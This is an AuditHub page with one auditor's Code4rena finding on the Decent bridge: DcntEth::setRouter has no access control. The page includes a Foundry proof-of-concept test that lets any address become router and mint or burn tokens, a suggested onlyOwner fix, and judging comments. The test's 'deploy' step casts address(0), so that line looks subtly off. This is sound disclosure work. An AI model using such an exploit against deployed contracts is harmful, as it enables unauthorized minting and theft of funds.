Decent - 0xSimeon's results

Decent enables one-click transactions using any token across chains.

General Information

Platform: Code4rena

Start Date: 19/01/2024

Pot Size: $36,500 USDC

Total HM: 9

Participants: 113

Period: 3 days

Judge: 0xsomeone

Id: 322

League: ETH

Decent

Findings Distribution

Researcher Performance

Rank: 80/113

Findings: 1

Award: $0.12

🌟 Selected for report: 0

🚀 Solo Findings: 0

Lines of code

https://github.com/decentxyz/decent-bridge/blob/7f90fd4489551b69c20d11eeecb17a3f564afb18/src/DcntEth.sol#L20

Vulnerability details

There is a missing access control in DcntEth::setRouter that allows anyone to call the setRouter function, passing an arbitrary address which is then used as the router across system calls.

Impact

Anyone can set the router and causes undefined and unexpected behavior for the system calls as the router. An attacker or malicious user can gain control of the following functions:

  • DcntEth::mint
  • DcntEth::burn

Attacker can mint and burn DcntEth which is an OFTV2 (Omni-chain fungible token) at will.

Proof of Concept

Add the following test to DebugActions.t.sol or any foundry test file.

Don't forget to add the following imports:

   import {DcntEth} from "../lib/decent-bridge/src/DcntEth.sol";
   import {Test} from "forge-std/Test.sol";

  function test_MissingDecentEthAccessControl() public {
        // Deploy new DcntEth token contract.
        DcntEth dcntEth = DcntEth(address(0));

        // example amount to mint.
        uint256 UserMintAmount = 1_000_000 ether;

        // make an arbitrary user
        address arbitraryUser = makeAddr("anyUser");

        // set the router to arbitraryUser
        dcntEth.setRouter(arbitraryUser);

        // Now arbitraryUser can call router priviledged functions: mint & burn
        vm.startPrank(arbitraryUser);
        dcntEth.mint(arbitraryUser, UserMintAmount);
        dcntEth.burn(arbitraryUser, 1);

        vm.stopPrank();

        assertEq(dcntEth.balanceOf(arbitraryUser), UserMintAmount - 1);
    }

Tools Used

Manual Analysis

Add the onlyOwner modifier to the DcntEth::setRouter function

```diff DcntEth::setRouter

  • function setRouter(address _router) public {
  • router = _router;
  • }
  • function setRouter(address _router) public onlyOwner {
  • router = _router;
  • }
## Assessed type Access Control

#0 - c4-pre-sort

2024-01-25T21:49:31Z

raymondfam marked the issue as sufficient quality report

#1 - c4-pre-sort

2024-01-25T21:49:36Z

raymondfam marked the issue as duplicate of #14

#2 - c4-judge

2024-02-03T13:07:34Z

alex-ppg marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter